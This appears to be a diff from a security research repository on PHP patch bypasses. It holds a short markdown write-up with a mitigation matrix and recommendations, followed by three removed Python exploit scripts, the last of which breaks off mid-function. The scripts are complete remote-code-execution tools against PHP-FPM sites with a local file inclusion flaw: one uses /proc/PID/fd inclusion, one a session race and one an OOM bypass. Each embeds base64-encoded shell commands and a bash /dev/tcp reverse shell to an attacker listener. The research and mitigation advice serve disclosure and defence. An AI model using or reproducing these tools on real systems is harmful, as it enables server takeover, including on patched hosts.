## Bypass #3: /proc/PID/fd Temp File Inclusion
|
||||
|
||||
**File:** `procfd_bypass_hardened.py`
|
||||
**Confirmed RCE:** Yes, first attempt
|
||||
**Patches bypassed:** ALL patches
|
||||
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
|
||||
|
||||
During a multipart file upload, PHP creates a temporary file with attacker-
|
||||
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
|
||||
process that can read procfs. A concurrent LFI request from a different FPM
|
||||
worker can include this file directly.
|
||||
|
||||
This attack does NOT use session poisoning at all — it bypasses every
|
||||
session-related mitigation.
|
||||
|
||||
**Blocked by:**
|
||||
- Fixing the LFI vulnerability
|
||||
- `hidepid=2` on /proc mount (hides other processes' FDs)
|
||||
- `open_basedir` restricting /proc access
|
||||
- Disabling file uploads entirely (impractical)
|
||||
|
||||
## Mitigation Effectiveness Matrix
|
||||
|
||||
| Mitigation | Race | RLIMIT | /proc/fd |
|
||||
|-------------------------------|------|--------|----------|
|
||||
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
|
||||
| + upload_progress=0 | OK | OK | FAIL |
|
||||
| + hidepid=2 on /proc | FAIL | FAIL | OK |
|
||||
| + upload_progress=0 + hidepid | OK | OK | OK |
|
||||
| Fix the LFI | OK | OK | OK |
|
||||
|
||||
## Tested Vectors That Did NOT Bypass the Patch
|
||||
|
||||
- **Multipart part header flood:** OOM triggered but the patch handles it
|
||||
correctly (exit code 70, session file cleaned up)
|
||||
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
|
||||
`session.upload_progress` only fires on POST requests
|
||||
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
|
||||
as multipart/form-data
|
||||
- **Access log poisoning:** Works conceptually but fragile (previous log
|
||||
entries may cause PHP parse errors)
|
||||
|
||||
## Recommendations
|
||||
|
||||
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
|
||||
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
|
||||
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
|
||||
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
|
||||
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
|
||||
@@ -1,363 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
|
||||
|
||||
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
|
||||
including the security patch AND session.upload_progress.enabled=0.
|
||||
|
||||
It does NOT use session poisoning at all. Instead, it exploits the fact that
|
||||
during a multipart file upload, PHP creates a temporary file whose contents
|
||||
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
|
||||
process that can read procfs (i.e., any PHP process on the same host).
|
||||
|
||||
Attack flow:
|
||||
1. Send a multipart POST with a file upload containing PHP code
|
||||
2. While the upload is in progress (slow drip), the temp file exists as an
|
||||
open file descriptor on the receiving FPM worker
|
||||
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
|
||||
or brute-forced from a narrow PID range)
|
||||
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
|
||||
5. PHP interprets the temp file contents → RCE
|
||||
|
||||
Why this bypasses everything:
|
||||
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
|
||||
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
|
||||
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
|
||||
- Standard multipart upload → WAF rules need to block ALL file uploads
|
||||
|
||||
Limitations:
|
||||
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
|
||||
- Requires knowing or brute-forcing the target worker's PID
|
||||
- Requires multiple FPM workers (upload worker != LFI worker)
|
||||
- FD number is typically 4-7 but may vary
|
||||
|
||||
Real-world PID discovery:
|
||||
- phpinfo() page (common on staging/dev servers)
|
||||
- Application leaking PID in response (getmypid())
|
||||
- PHP error messages may include PID
|
||||
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
|
||||
- Container PID namespaces have small PID ranges (often 1-100)
|
||||
|
||||
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
|
||||
|
||||
Usage:
|
||||
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||||
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||||
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=60):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" in resp:
|
||||
return resp.split(b"\r\n\r\n", 1)[1]
|
||||
return resp
|
||||
|
||||
|
||||
def discover_pids(host, port, tls, path, count=20):
|
||||
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
|
||||
pids = set()
|
||||
for _ in range(count):
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=3)
|
||||
sock.close()
|
||||
body = body_of(resp)
|
||||
m = re.search(rb"pid=(\d+)", body)
|
||||
if m:
|
||||
pids.add(int(m.group(1)))
|
||||
except Exception:
|
||||
continue
|
||||
return sorted(pids)
|
||||
|
||||
|
||||
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
|
||||
"""Send slow multipart upload to keep temp file FD open."""
|
||||
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
|
||||
|
||||
head = (
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
+ php_code + b"\n"
|
||||
)
|
||||
file_size = 4 * 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total = len(head) + file_size + len(tail)
|
||||
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
+ head
|
||||
)
|
||||
if started:
|
||||
started.set()
|
||||
|
||||
sent = 0
|
||||
t0 = time.time()
|
||||
while sent < file_size and (time.time() - t0) < duration:
|
||||
if done and done.is_set():
|
||||
break
|
||||
sock.sendall(b"\x00" * 4096)
|
||||
sent += 4096
|
||||
time.sleep(0.04)
|
||||
sock.sendall(tail)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
recv_all(sock, timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
|
||||
"""Send LFI request targeting a /proc path."""
|
||||
lfi_url = f"{path}?{lfi_param}={proc_path}"
|
||||
try:
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
return body_of(resp)
|
||||
except Exception:
|
||||
return b""
|
||||
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
|
||||
print(" Bypasses patch + upload_progress=0 + session cleanup")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
# Discover worker PIDs
|
||||
if args.pid:
|
||||
pids = [args.pid]
|
||||
print(f"[*] Using specified PID: {args.pid}")
|
||||
else:
|
||||
print("[*] Discovering FPM worker PIDs...")
|
||||
pids = discover_pids(host, port, tls, path, count=30)
|
||||
if not pids:
|
||||
print("[!] Could not discover PIDs (target may not echo pid)")
|
||||
print(" Try --pid <pid> or --pid-range <start>-<end>")
|
||||
if args.pid_range:
|
||||
start, end = map(int, args.pid_range.split("-"))
|
||||
pids = list(range(start, end + 1))
|
||||
print(f" Using PID range: {start}-{end}")
|
||||
else:
|
||||
sys.exit(1)
|
||||
else:
|
||||
print(f" Found PIDs: {pids}")
|
||||
print()
|
||||
|
||||
fd_range = range(args.fd_start, args.fd_end + 1)
|
||||
|
||||
for attempt in range(args.attempts):
|
||||
print(f"[*] Attempt {attempt+1}/{args.attempts}")
|
||||
|
||||
started = threading.Event()
|
||||
done = threading.Event()
|
||||
|
||||
# Launch slow uploads on multiple threads to occupy workers
|
||||
threads = []
|
||||
for i in range(args.upload_threads):
|
||||
t = threading.Thread(
|
||||
target=slow_upload,
|
||||
args=(host, port, tls, path, php_code, 15.0,
|
||||
started if i == 0 else None, done),
|
||||
daemon=True,
|
||||
)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
started.wait(timeout=5)
|
||||
time.sleep(0.5)
|
||||
print(f" {args.upload_threads} slow uploads in progress")
|
||||
|
||||
hit = False
|
||||
for probe_round in range(args.probes):
|
||||
if hit:
|
||||
break
|
||||
for pid in pids:
|
||||
if hit:
|
||||
break
|
||||
for fd in fd_range:
|
||||
proc_path = f"/proc/{pid}/fd/{fd}"
|
||||
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
|
||||
|
||||
if b"CVE2026:" in rbody:
|
||||
text = rbody.decode(errors="replace")
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
||||
print(f"\n[+] Code execution confirmed!")
|
||||
if m:
|
||||
print(f" {m.group(1)}")
|
||||
elif args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
||||
result = m.group(1).strip() if m else text[:500]
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
else:
|
||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||
|
||||
print()
|
||||
print(f"[+] Via: {proc_path}")
|
||||
print("[+] RCE achieved WITHOUT session poisoning!")
|
||||
print("[+] Bypasses: security patch, upload_progress=0,")
|
||||
print("[+] session cleanup, WAF session rules")
|
||||
print("[+] Only mitigation: disable file uploads entirely,")
|
||||
print("[+] mount /proc with hidepid=2, or fix the LFI")
|
||||
hit = True
|
||||
break
|
||||
|
||||
if not hit and probe_round < args.probes - 1:
|
||||
time.sleep(0.01)
|
||||
|
||||
done.set()
|
||||
for t in threads:
|
||||
t.join(timeout=3)
|
||||
|
||||
if hit:
|
||||
return
|
||||
print(f" No hit — upload may have finished or wrong PID/FD range")
|
||||
|
||||
print()
|
||||
print("[!] All attempts failed.")
|
||||
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
|
||||
print(" Or: --upload-threads 3 --probes 200")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
This exploit does NOT use session poisoning. It includes the PHP temp file
|
||||
created during a multipart upload via /proc/<pid>/fd/<N>.
|
||||
|
||||
It bypasses ALL recommended mitigations:
|
||||
- PHP 8.4.27 security patch
|
||||
- session.upload_progress.enabled=0
|
||||
- session.upload_progress.cleanup=1
|
||||
- WAF rules blocking session-related headers
|
||||
|
||||
The only defenses are:
|
||||
- Fix the LFI vulnerability
|
||||
- Mount /proc with hidepid=2 (hides other processes' FDs)
|
||||
- Disable file uploads entirely (not practical for most apps)
|
||||
- Use open_basedir to restrict /proc access
|
||||
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability only")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--pid", type=int,
|
||||
help="Known target worker PID")
|
||||
ap.add_argument("--pid-range",
|
||||
help="PID range to brute-force, e.g. 1-100")
|
||||
ap.add_argument("--fd-start", type=int, default=3,
|
||||
help="First FD to probe (default: 3)")
|
||||
ap.add_argument("--fd-end", type=int, default=10,
|
||||
help="Last FD to probe (default: 10)")
|
||||
ap.add_argument("--upload-threads", type=int, default=2,
|
||||
help="Concurrent slow uploads (default: 2)")
|
||||
ap.add_argument("--probes", type=int, default=100,
|
||||
help="LFI probe rounds per attempt (default: 100)")
|
||||
ap.add_argument("--attempts", type=int, default=5,
|
||||
help="Number of attempts (default: 5)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,265 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
|
||||
|
||||
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
||||
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
|
||||
with a soft/hard OOM that ensures proper cleanup.
|
||||
|
||||
However, the session upload progress race condition is NOT fixed by the patch.
|
||||
This is because the race window is inherent to the feature's design:
|
||||
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
|
||||
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
|
||||
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
|
||||
3. The data persists on disk for the duration of the file upload
|
||||
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
|
||||
5. A concurrent request can include the session file via LFI during this window
|
||||
|
||||
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
|
||||
close this inherent TOCTOU race. The advisory acknowledges this by recommending
|
||||
session.upload_progress.enabled=0 even after patching.
|
||||
|
||||
Requirements:
|
||||
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
|
||||
- An LFI vector in the target application
|
||||
- Known or guessable session.save_path
|
||||
- Multiple FPM workers (pm.max_children > 1)
|
||||
|
||||
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
|
||||
|
||||
Usage:
|
||||
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
]
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=60):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
def recv_all(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" in resp:
|
||||
return resp.split(b"\r\n\r\n", 1)[1]
|
||||
return resp
|
||||
|
||||
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
|
||||
"""Send slow multipart upload to keep session file populated on disk."""
|
||||
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
|
||||
head = (
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n"
|
||||
b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
)
|
||||
file_size = 4 * 1024 * 1024
|
||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||
total = len(head) + file_size + len(tail)
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
+ head
|
||||
)
|
||||
sent = 0
|
||||
t0 = time.time()
|
||||
try:
|
||||
while sent < file_size and (time.time() - t0) < duration:
|
||||
sock.sendall(b"\x00" * 4096)
|
||||
sent += 4096
|
||||
time.sleep(0.04)
|
||||
sock.sendall(tail)
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
recv_all(sock, timeout=2)
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
|
||||
def lfi_probe(host, port, tls, lfi_path, sid):
|
||||
"""Send LFI request and return response body."""
|
||||
sock = tcp_connect(host, port, tls, timeout=10)
|
||||
sock.sendall(
|
||||
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
resp = recv_all(sock, timeout=5)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def run(args):
|
||||
p = urlparse(args.target)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
|
||||
spaths = list(SESSION_PATHS)
|
||||
if args.session_path:
|
||||
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
|
||||
|
||||
if args.trigger_only:
|
||||
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||
elif args.cmd:
|
||||
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||
elif args.lhost and args.lport:
|
||||
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||
else:
|
||||
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||
sys.exit(1)
|
||||
|
||||
print("=" * 65)
|
||||
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
|
||||
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
|
||||
print("=" * 65)
|
||||
print(f" Target : {args.target}")
|
||||
print(f" LFI param : {args.lfi_param}")
|
||||
if args.cmd:
|
||||
print(f" Command : {args.cmd}")
|
||||
elif args.lhost:
|
||||
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||
print()
|
||||
|
||||
for attempt in range(args.attempts):
|
||||
sid = os.urandom(16).hex()
|
||||
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
|
||||
|
||||
t = threading.Thread(
|
||||
target=slow_upload,
|
||||
args=(host, port, tls, path, sid, php_code, 10.0),
|
||||
daemon=True,
|
||||
)
|
||||
t.start()
|
||||
time.sleep(0.3)
|
||||
|
||||
hit = False
|
||||
for i in range(400):
|
||||
if not t.is_alive():
|
||||
break
|
||||
for sp in spaths:
|
||||
sess_file = f"{sp}/sess_{sid}"
|
||||
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
|
||||
try:
|
||||
resp = lfi_probe(host, port, tls, lfi_path, sid)
|
||||
rbody = body_of(resp)
|
||||
if b"CVE2026:" in rbody:
|
||||
if args.trigger_only:
|
||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
|
||||
rbody.decode(errors="replace"))
|
||||
print(f"\n[+] Code execution confirmed!")
|
||||
if m:
|
||||
print(f" {m.group(1)}")
|
||||
elif args.cmd:
|
||||
m = re.search(r"CVE2026:(.*?):END",
|
||||
rbody.decode(errors="replace"), re.DOTALL)
|
||||
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
|
||||
print()
|
||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||
print(result)
|
||||
print("[+] ══════════════════════════════════════════")
|
||||
else:
|
||||
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||
|
||||
print()
|
||||
print("[+] RCE achieved against PATCHED PHP!")
|
||||
print("[+] The 2026-10-21 security patch does NOT fix this.")
|
||||
print("[+] Mitigation: session.upload_progress.enabled=0")
|
||||
hit = True
|
||||
break
|
||||
except:
|
||||
pass
|
||||
if hit:
|
||||
break
|
||||
time.sleep(0.005)
|
||||
|
||||
t.join(timeout=2)
|
||||
if hit:
|
||||
return
|
||||
print(f" Race lost")
|
||||
|
||||
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(
|
||||
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
This exploit demonstrates that the PHP security patch (2026-10-21)
|
||||
does NOT fix the session upload progress race condition.
|
||||
|
||||
The only effective mitigation is: session.upload_progress.enabled=0
|
||||
|
||||
Examples:
|
||||
%(prog)s -t http://target/app.php --cmd 'id'
|
||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
|
||||
""")
|
||||
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||
ap.add_argument("--cmd", help="Command to execute")
|
||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||
ap.add_argument("--trigger-only", action="store_true",
|
||||
help="Confirm vulnerability only")
|
||||
ap.add_argument("--lfi-param", default="page",
|
||||
help="LFI query parameter (default: page)")
|
||||
ap.add_argument("--session-path",
|
||||
help="session.save_path on target")
|
||||
ap.add_argument("--attempts", type=int, default=10,
|
||||
help="Race attempts (default: 10)")
|
||||
args = ap.parse_args()
|
||||
run(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,312 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
|
||||
|
||||
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
|
||||
- Soft OOM: deferred to VM safe point (graceful shutdown)
|
||||
- Hard OOM: immediate _exit(70) when allocation fails during parsing
|
||||
|
||||
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
|
||||
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
|
||||
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
|
||||
multipart field allocation. This failure goes through a DIFFERENT code path
|
||||
that the patch does NOT cover:
|
||||
|
||||
1. PHP has memory_limit=-1 → no PHP-level OOM possible
|
||||
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
|
||||
3. During multipart parsing, mmap() fails when address space is exhausted
|
||||
4. The failure triggers the OLD vulnerable code path (not the patched one)
|
||||
5. Worker exits with code 1 (not the patched exit code 70)
|
||||
6. Session file persists on disk with attacker-controlled PHP code
|
||||
7. New worker spawns → LFI includes the poisoned session file → RCE
|
||||
|
||||
This is relevant in production because:
|
||||
- Container environments (Docker, k8s) often set memory limits via cgroups
|
||||
- Shared hosting uses RLIMIT_AS to isolate tenants
|
||||
- Admins may set memory_limit=-1 trusting OS-level limits instead
|
||||
- The advisory does NOT mention this bypass path
|
||||
|
||||
Requirements:
|
||||
- PHP-FPM with memory_limit=-1 (or very high)
|
||||
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
|
||||
- session.upload_progress.enabled=1 (DEFAULT)
|
||||
- An LFI vector in the target application
|
||||
- Known or guessable session.save_path
|
||||
|
||||
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
|
||||
|
||||
Usage:
|
||||
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
from urllib.parse import urlparse
|
||||
|
||||
SESSION_PATHS = [
|
||||
"/tmp",
|
||||
"/tmp/php-sessions",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php5/sessions",
|
||||
]
|
||||
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=120):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" in resp:
|
||||
return resp.split(b"\r\n\r\n", 1)[1]
|
||||
return resp
|
||||
|
||||
|
||||
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
|
||||
"""Build multipart body designed to exhaust address space via mmap()."""
|
||||
body = b""
|
||||
body += b"--" + bnd + b"\r\n"
|
||||
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
body += b"\r\n" + php_code + b"\r\n"
|
||||
|
||||
body += b"--" + bnd + b"\r\n"
|
||||
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
|
||||
body += b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
body += b"\x00" * 4096 + b"\r\n"
|
||||
|
||||
for i in range(field_count):
|
||||
